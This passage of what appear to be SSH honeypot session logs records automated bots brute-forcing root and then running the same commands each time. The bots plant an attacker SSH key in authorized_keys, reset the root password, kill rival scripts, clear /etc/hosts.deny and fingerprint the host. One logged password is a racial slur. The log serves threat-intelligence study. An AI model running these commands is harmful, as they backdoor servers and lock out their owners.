PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:41:48.284048+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:41:49.137616+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:41:49.451666+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:41:50.807812+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:41:51.117579+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:41:52.325665+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:41:52.641149+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:41:54.740780+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:41:55.055021+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:41:57.210702+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Aa@11223344","method":"password","accepted":true,"tier":"other"}]} {"id":"a41147b0-202e-43e5-9f3e-205428a8b2b4","name":"lunar-sandy-condor","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":42688,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":326,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:39:55.667521+00:00","ended_at":"2026-08-27T05:39:57.381533+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2300,"events":[{"seq":1,"at":"2026-08-27T05:39:25.667759+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:39:25.991804+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:39:30.221483+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:39:32.351145+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:39:32.677127+00:00","kind":"input","latency_ms":null,"data":"echo \"root:FUWQS108t4EX\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:39:33.003758+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:39:33.327574+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:39:33.507990+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:39:34.463353+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:39:34.789952+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:39:35.972112+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:39:36.306458+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:39:37.649678+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:39:37.978548+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:39:39.427690+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:39:39.753374+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:39:41.482157+00:00","kind":"output","latency_ms":null,"data":" 05:39:41 up 7 days, 2:29, 0 user, load average: 0.19, 0.2, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:39:41.810729+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:39:43.564565+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:39:43.889958+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:39:45.572990+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:39:45.900130+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:39:47.868148+00:00","kind":"output","latency_ms":null,"data":"top - 05:39:47 up 7 days, 2:29, 0 user, load average: 0.19, 0.2, 0.2\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:39:48.193889+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:39:50.361095+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:39:50.698168+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:39:51.746064+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:39:52.073914+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:39:53.999688+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:39:54.326167+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:39:55.342496+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:39:55.668345+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:39:57.282743+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qazxsw","method":"password","accepted":true,"tier":"other"}]} {"id":"5051a227-a361-4f9d-87af-aec86904a535","name":"gnarled-glassy-gerbil","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":38680,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":332,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:33:51.635172+00:00","ended_at":"2026-08-27T05:33:53.597740+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2300,"events":[{"seq":1,"at":"2026-08-27T05:33:34.682775+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:33:35.013034+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:33:38.069765+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:33:38.792461+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:33:39.124792+00:00","kind":"input","latency_ms":null,"data":"echo \"root:MgIKz1iKgOHY\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:33:39.453675+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:33:39.786073+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:33:40.304432+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:33:40.645819+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:33:41.621844+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:33:41.956453+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:33:42.816150+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:33:43.148356+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:33:43.407050+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:33:43.738184+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:33:44.218929+00:00","kind":"output","latency_ms":null,"data":" 05:33:44 up 7 days, 2:23, 0 user, load average: 0.11, 0.1, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:33:44.549361+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:33:44.930908+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:33:45.262622+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:33:45.562187+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:33:46.015666+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:33:46.622205+00:00","kind":"output","latency_ms":null,"data":"top - 05:33:46 up 7 days, 2:23, 0 user, load average: 0.11, 0.1, 0.1\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:33:46.955418+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:33:47.851546+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:33:48.183092+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:33:49.084385+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:33:49.413970+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:33:50.068520+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T05:33:50.400908+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:33:51.303836+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:33:51.635895+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:33:53.497018+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"q1w2e3r4A","method":"password","accepted":true,"tier":"other"}]} {"id":"81381a86-19b8-4448-9172-d584b743fa7b","name":"bronzed-russet-penguin","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":37166,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":316,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:29:57.271815+00:00","ended_at":"2026-08-27T05:29:58.450742+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:29:39.286106+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:29:39.601601+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:29:43.544082+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:29:44.295742+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:29:44.614671+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ydcU03hJRsat\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:29:44.926058+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:29:45.241066+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:29:45.667565+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:29:45.981067+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:29:47.069815+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:29:47.388457+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:29:48.598454+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:29:48.914757+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:29:49.303819+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:29:49.631208+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:29:50.309906+00:00","kind":"output","latency_ms":null,"data":" 05:29:50 up 7 days, 2:19, 0 user, load average: 0.17, 0.21, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:29:50.636838+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:29:51.077783+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:29:51.386370+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:29:52.067492+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:29:52.381798+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:29:52.813572+00:00","kind":"output","latency_ms":null,"data":"top - 05:29:52 up 7 days, 2:19, 0 user, load average: 0.17, 0.21, 0.11\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:29:53.130155+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:29:53.947780+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:29:54.263824+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:29:54.603670+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:29:54.918778+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:29:55.520441+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T05:29:55.836213+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:29:56.956854+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:29:57.272389+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:29:58.352844+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Admin12#","method":"password","accepted":true,"tier":"other"}]} {"id":"b0a180a8-18a9-40e2-a335-e1a032c0f286","name":"seaward-candid-cassowary","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":53644,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":313,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:25:48.520057+00:00","ended_at":"2026-08-27T05:25:50.639940+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:25:30.902276+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:25:31.217091+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:25:35.292549+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:25:35.667512+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:25:35.981665+00:00","kind":"input","latency_ms":null,"data":"echo \"root:IuEBCrPYtkWr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:25:36.290926+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:25:36.601487+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:25:37.483538+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:25:37.794995+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:25:38.726483+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:25:39.040069+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:25:39.922354+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:25:40.237720+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:25:41.065225+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:25:41.376971+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:25:41.820177+00:00","kind":"output","latency_ms":null,"data":" 05:25:41 up 7 days, 2:15, 0 user, load average: 0.11, 0.12, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:25:42.135176+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:25:42.780292+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:25:43.108962+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:25:43.367457+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:25:43.681397+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:25:44.421156+00:00","kind":"output","latency_ms":null,"data":"top - 05:25:44 up 7 days, 2:15, 0 user, load average: 0.11, 0.12, 0.11\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:25:44.733204+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:25:45.040288+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:25:45.351114+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:25:46.074146+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:25:46.383678+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:25:46.904398+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T05:25:47.217533+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:25:48.208186+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:25:48.521457+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:25:50.544948+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"niggers","method":"password","accepted":true,"tier":"other"}]} {"id":"e5574279-3724-4e92-ba39-eab1e8dc9035","name":"valiant-tawny-tinamou","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":48054,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":322,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia 